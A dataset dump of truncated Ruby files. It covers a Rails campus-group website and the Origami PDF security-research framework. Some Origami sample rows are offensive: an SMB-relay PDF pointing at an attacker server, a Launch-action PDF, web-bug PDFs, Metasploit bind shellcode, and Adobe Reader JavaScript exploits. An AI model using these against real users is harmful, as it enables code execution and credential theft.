code stringlengths 1 1.73M | language stringclasses 1
value |
|---|---|
module Admin::UsersHelper
end
| Ruby |
module Admin::AnnouncementsHelper
end
| Ruby |
module Admin::AlbumsHelper
end
| Ruby |
module Admin::PhotosHelper
end
| Ruby |
module Admin::AppQuestionsHelper
end
| Ruby |
module Admin::VideosHelper
end
| Ruby |
module Admin::TagsHelper
end
| Ruby |
module Admin::PagesHelper
end
| Ruby |
module AccountHelper
end | Ruby |
module HousingApplicationHelper
def form_box(question)
if question.answer_type == 'small'
text_field 'application', "#{question.id}"
elsif question.answer_type == 'large'
text_area 'application', "#{question.id}", :rows => "5"
end
end
end
| Ruby |
module AnnouncementsHelper
end
| Ruby |
module PhotosHelper
end
| Ruby |
module SearchHelper
end
| Ruby |
module PageHelper
end
| Ruby |
module VideosHelper
end
| Ruby |
module PodcastHelper
end
| Ruby |
module TagsHelper
end
| Ruby |
class Authoring < ActiveRecord::Base
belongs_to :user
belongs_to :authored, :polymorphic => true
end
| Ruby |
class Photo < ActiveRecord::Base
belongs_to :album, :dependent => :nullify
acts_as_list :scope => :album_id
has_attachment :content_type => :image,
:storage => :file_system,
:max_size => 3.megabytes,
:thumbnails => { :small => '500x500>',
:thumb => [100, 100] }
valid... | Ruby |
class Podcast < ActiveRecord::Base
has_attachment :content_type => 'audio/mpeg',
:storage => :file_system,
:max_size => 50.megabytes
validates_as_attachment
acts_as_taggable
acts_as_authored
named_url :key => 'title', :url_column => 'url_slug'
def full_filename(thumbnail = nil)
file_system... | Ruby |
class AppQuestion < ActiveRecord::Base
validates_presence_of :question
acts_as_list
def to_s
question
end
end
| Ruby |
class HousingMailer < ActionMailer::Base
def application(application)
@subject = "Housing Application"
@body = {:questions => AppQuestion.find(:all, :order => :position), :answers => application}
@from = "ccf@umr.edu"
@recipients = Settings.app_email
@sent_on = Time.now
@headers = {}
end
end... | Ruby |
class UserPhoto < ActiveRecord::Base
belongs_to :user
has_attachment :content_type => :image,
:storage => :file_system,
:thumbnails => { :small => [50, 50], :normal => [100, 100], :medium => [200,200], :large => [300, 300] }
validates_as_attachment
end
| Ruby |
require 'digest/sha1'
class User < ActiveRecord::Base
# Virtual attribute for the unencrypted password
attr_accessor :password
# ACL FEATURES
has_many :permissions, :dependent => :delete_all
has_many :roles, :through => :permissions
# USER ICON FEATURES
has_one :user_photo, :dependent => :delete
... | Ruby |
class Permission < ActiveRecord::Base
set_table_name "user_permissions"
belongs_to :user
belongs_to :role
def to_s
"#{role}"
end
end
| Ruby |
class Announcement < ActiveRecord::Base
# Allow Tagging
acts_as_taggable
acts_as_list
validates_presence_of :title
validates_presence_of :body
named_url :key => 'title', :url_column => 'url_slug'
acts_as_authored
def summary(length = 30, end_string = ' …')
words = body.split()
... | Ruby |
class Role < ActiveRecord::Base
has_many :permissions, :dependent => :delete_all
def to_s
title
end
end
| Ruby |
class Page < ActiveRecord::Base
acts_as_taggable
acts_as_tree
validates_presence_of :body
validates_length_of :title, :within => 3..40
belongs_to :user
named_url :key => 'title', :url_column => 'url_slug'
acts_as_authored
end
| Ruby |
class Album < ActiveRecord::Base
acts_as_taggable
acts_as_list
validates_presence_of :title
validates_presence_of :body
has_many :photos, :dependent => :destroy
named_url :key => 'title', :url_column => 'url_slug'
end
| Ruby |
class Video < ActiveRecord::Base
acts_as_taggable
validates_presence_of :title
validates_presence_of :title
def self.sync_with_vimeo
url = URI.parse("http://www.vimeo.com/api/#{Settings.vimeo_user}/clips/xml")
xml = Net::HTTP.get(url)
doc = REXML::Document.new xml
Video.transaction do
... | Ruby |
class SearchController < ApplicationController
layout 'two_column'
before_filter :find_tagged, :only => [ :find ]
protected
def find_tagged
@tag = Tag.find(params[:term], :first)
@results = Array.new
@tag.taggings.each {|tagging| @results << tagging.taggable} unless @tag.nil?
end
pub... | Ruby |
class VideosController < ApplicationController
before_filter :load_video, :only => [ :show ]
before_filter :load_videos, :only => [ :index ]
before_filter :find_tagged, :only => [ :tagged ]
layout "two_column"
protected
def load_videos
@videos = Video.paginate(:page => params[:page], :order => 'c... | Ruby |
class AccountController < ApplicationController
# include SslRequirement
# ssl_required :login
layout "login"
def login
return unless request.post?
self.current_user = User.authenticate(params[:email], params[:password])
if logged_in?
if params[:remember_me] == "1"
self.cu... | Ruby |
class Admin::PagesController < ApplicationController
layout "admin"
skip_before_filter :verify_authenticity_token
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | pages'
resource_this :path_prefix => 'admin_'
def load_pages
@pages = Page.find_all_by_pa... | Ruby |
class Admin::VideosController < ApplicationController
require "rexml/document"
require 'net/http'
layout "admin"
skip_before_filter :verify_authenticity_token
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | videos'
resource_this :will_paginate => tru... | Ruby |
class Admin::PermissionsController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | permissions'
resource_this :will_paginate => true, :path_prefix => 'admin_', :nested => [:users]
end
| Ruby |
class Admin::AppQuestionsController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | app_questions'
resource_this :will_paginate => true, :path_prefix => 'admin_'
def sort
@questions = AppQuestion.find(:all)
AppQuestion.tran... | Ruby |
class Admin::AlbumsController < ApplicationController
layout "admin"
skip_before_filter :verify_authenticity_token
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | photos'
resource_this :will_paginate => true, :path_prefix => 'admin_'
def auto_complete_for... | Ruby |
class Admin::DashboardController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
def index
end
end
| Ruby |
class Admin::UsersController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | users'
resource_this :will_paginate => true, :path_prefix => 'admin_'
def transfer
@user = User.find(params[:id])
respond_to do |format|... | Ruby |
class Admin::AnnouncementsController < ApplicationController
layout "admin"
skip_before_filter :verify_authenticity_token
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | announcements'
resource_this :will_paginate => true, :path_prefix => 'admin_'
before_... | Ruby |
class Admin::PhotosController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | photos'
resource_this :will_paginate => true, :path_prefix => 'admin_', :nested => [:album]
def create_photo
params[:photo].each do |photo|... | Ruby |
class Admin::ProfileController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
def index
@user = current_user
end
def update
@user = User.find(params[:id])
if @user.update_attributes(params[:user])
flash[:notice] = "Your profile was successf... | Ruby |
class Admin::PodcastsController < ApplicationController
layout "admin"
skip_before_filter :verify_authenticity_token
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | podcast'
resource_this :will_paginate => true, :path_prefix => 'admin_'
def auto_complete_... | Ruby |
class Admin::TagsController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | tags'
resource_this :will_paginate => true, :path_prefix => 'admin_'
def auto_complete
re = Regexp.new("^#{params[:announcement][:tag_list]}"... | Ruby |
class Admin::SettingsController < ApplicationController
layout "admin"
helper :button
before_filter :login_required
access_control :DEFAULT => 'admin | settings'
def index
@settings = Settings
end
def update
Settings.title = params[:settings][:title]
Settings.subtitle = params[... | Ruby |
class PodcastController < ApplicationController
before_filter :load_podcast, :only => [ :show ]
before_filter :load_podcasts, :only => [ :index ]
before_filter :find_tagged, :only => [ :tagged ]
layout "two_column"
protected
def load_podcasts
@podcasts = Podcast.paginate(:page => params[:page], :or... | Ruby |
class AlbumsController < ApplicationController
before_filter :load_album, :only => [ :show ]
before_filter :load_albums, :only => [ :index ]
before_filter :find_tagged, :only => [ :tagged ]
layout "two_column"
protected
def load_albums
@albums = Album.paginate(:page => params[:page], :order => 'cre... | Ruby |
class HousingApplicationController < ApplicationController
layout 'two_column'
verify :method => :post, :only => [ :submit ], :redirect_to => { :action => :index }
def index
@questions = AppQuestion.find(:all, :order => :position)
end
def submit
@questions = AppQuestion.find(:all, :orde... | Ruby |
class AnnouncementsController < ApplicationController
before_filter :load_announcement, :only => [ :show ]
before_filter :load_announcements, :only => [ :index ]
before_filter :find_tagged, :only => [ :tagged ]
layout "two_column"
protected
def load_announcements
@announcements = Announcement.pagin... | Ruby |
# Filters added to this controller apply to all controllers in the application.
# Likewise, all the methods added will be available for all controllers.
class ApplicationController < ActionController::Base
helper :all # include all helpers, all the time
# See ActionController::RequestForgeryProtection for details... | Ruby |
class PageController < ApplicationController
before_filter :load_page, :only => [ :show ]
layout "two_column"
protected
def load_page
@page = Page.find(params[:id])
end
public
def show
respond_to do |format|
format.html
format.xml { render :xml => @announcement }
e... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new inflection rules using the following format
# (all these examples are active by default):
# Inflector.inflections do |inflect|
# inflect.plural /^(ox)$/i, '\1en'
# inflect.singular /^(ox)en/i, '\1'
# inflect.irregular 'person', 'people'
# i... | Ruby |
# Be sure to restart your server when you modify this file.
# Add new mime types for use in respond_to blocks:
# Mime::Type.register "text/richtext", :rtf
# Mime::Type.register_alias "text/html", :iphone
| Ruby |
require "smtp_tls"
mailer_config = File.open("#{RAILS_ROOT}/config/mailer.yml")
mailer_options = YAML.load(mailer_config)
ActionMailer::Base.smtp_settings = mailer_options | Ruby |
ActionController::Routing::Routes.draw do |map|
# The priority is based upon order of creation: first created -> highest priority.
# Sample of regular route:
# map.connect 'products/:id', :controller => 'catalog', :action => 'view'
# Keep in mind you can assign values other than :controller and :action
#... | Ruby |
# Don't change this file. Configuration is done in config/environment.rb and config/environments/*.rb
RAILS_ROOT = "#{File.dirname(__FILE__)}/.." unless defined?(RAILS_ROOT)
unless defined?(Rails::Initializer)
if File.directory?("#{RAILS_ROOT}/vendor/rails")
require "#{RAILS_ROOT}/vendor/rails/railties/lib/init... | Ruby |
# Be sure to restart your server when you modify this file.
# Uncomment below to force Rails into production mode when
# you don't control web/app server and can't set it the proper way
# ENV['RAILS_ENV'] ||= 'production'
# Specifies gem version of Rails to use when vendor/rails is not present
RAILS_GEM_VERSION = '2.... | Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# The production environment is meant for finished, "live" apps.
# Code is not reloaded between requests
config.cache_classes = true
# Use a different logger for distributed setups
# config.logger = SyslogLogger.new
# Full error repor... | Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the webserver when you make code changes.
config.ca... | Ruby |
# Settings specified here will take precedence over those in config/environment.rb
# The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between... | Ruby |
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
require(File.join(File.dirname(__FILE__), 'config', 'boot'))
require 'rake'
require 'rake/testtask'
require 'rake/rdoctask'
require 'tasks/rails'
| Ruby |
module AuthenticatedSystem
protected
# Returns true or false if the user is logged in.
# Preloads @current_user with the user model if they're logged in.
def logged_in?
current_user != :false
end
# Accesses the current user from the session.
def current_user
@current_user ||= ... | Ruby |
module AuthenticatedTestHelper
# Sets the current user in the session from the user fixtures.
def login_as(user)
@request.session[:user] = user ? users(user).id : nil
end
def content_type(type)
@request.env['Content-Type'] = type
end
def accept(accept)
@request.env["HTTP_ACCEPT"] = accept
en... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Embeds and PDF document into a trojan PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Fre... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Extracts valuable data from a PDF document. Can extract:
- decoded streams
- JavaScript
- file attachments
= License:
Origami is free software: you can redistribute it and/or modify
it under the term... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Encrypts a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, eit... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Prints out the metadata contained in a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Fr... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Uncompresses all binary streams of a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
This is a PDF document filtering engine using Origami.
Security policies are based on a white list of PDF features.
Default policies details can be found in the default configuration file.
You can also add your... | Ruby |
#!/usr/bin/env ruby
=begin
= Info
Convert a PDF document to an Origami script.
Experimental.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, either version 3 of the License, ... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Generates a Graphviz DOT or GraphML file out of a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published... | Ruby |
#!/usr/bin/env ruby
=begin
= Author:
Guillaume Delugré <guillaume/at/security-labs.org>
= Info:
Decrypts a PDF document.
= License:
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation, eit... | Ruby |
#!/usr/bin/env ruby
=begin
= File
walker.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser Ge... | Ruby |
=begin
= File
treeview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
hexview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
textview.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
=begin
= File
xrefs.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License a... | Ruby |
=begin
= File
console.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Pub... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
index = 1
pages = pdf.pages
pages.each { |page|
page.onOpen(Action... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
pages = pdf.pages
pages.each { |page|
page.onOpen(Action::Named.new... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
#
# SMB relay attack.
# Uses a GoToR action to open a shared network directory.
#
ATTACKER_SERVER = "localhost"
pdf = PDF.read(ARGV[0])
dst = Ex... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
contents ... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
pdf = PDF.new
page = Page.new
contents ... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
params = Action::Launch::WindowsLaunchParams.new
params.F = "C:\\\\WINDOWS\\\\system32\\\\not... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-js.pdf"
JSCRIPTFILE = "submitform.js"
puts "Now generating a new PDF file from scratch!"
contents = ContentStream.new.setFil... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-browser.pdf"
puts "Now generating a new bugged PDF file from scratch!"
URL = "http://localhost/webbug-browser.html"
pdf = P... | Ruby |
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "webbug-reader.pdf"
URL = "http://localhost/webbug-reader.php"
puts "Now generating a new bugged PDF file from scratch!"
pdf = PDF.... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creates an encrypted document with AES... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "attached.txt"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creating a ... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
INPUTFILE = "helloworld.swf"
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Now generating a new PDF file from scratch!"
# Creating ... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
win32_bin = "%u03eb%ueb59%ue805%uff... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//
//Steps:
//- c... | Ruby |
#!/usr/bin/env ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
pdf = PDF.read(ARGV[0])
jscript = %Q|
//##############
//Exploit made by Arr1val
//Proved in adobe 9.1 and adobe 8.1.4 on linux
//##############
... | Ruby |
=begin
= File
xdp.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as ... | Ruby |
=begin
= File
widgets.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License... | Ruby |
=begin
= File
patterns.rb
= Info
This file is part of Origami, PDF manipulation framework for Ruby
Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org>
All right reserved.
Origami is free software: you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public Licens... | Ruby |
require 'test/unit'
require 'stringio'
class TC_PdfEncrypt < Test::Unit::TestCase
def setup
@target = PDF.read("tests/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET)
@output = StringIO.new
end
# def teardown
# end
def test_encrypt_rc4_40b
@outp... | Ruby |
require 'test/unit'
require 'stringio'
class TC_Streams < Test::Unit::TestCase
def setup
@target = PDF.new
@output = StringIO.new
@data = "0123456789" * 1024
end
# def teardown
# end
def test_predictors
stm = Stream.new(@data, :Filter => :FlateDecode)
stm.set_... | Ruby |
require 'test/unit'
class TC_Actions < Test::Unit::TestCase
def setup
@target = PDF.new
@page = Page.new
@action = Action::JavaScript.new "app.alert(null);"
end
# def teardown
# end
def test_pdf_actions
@target.onDocumentOpen @action
@target.onDocumentClose @action... | Ruby |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.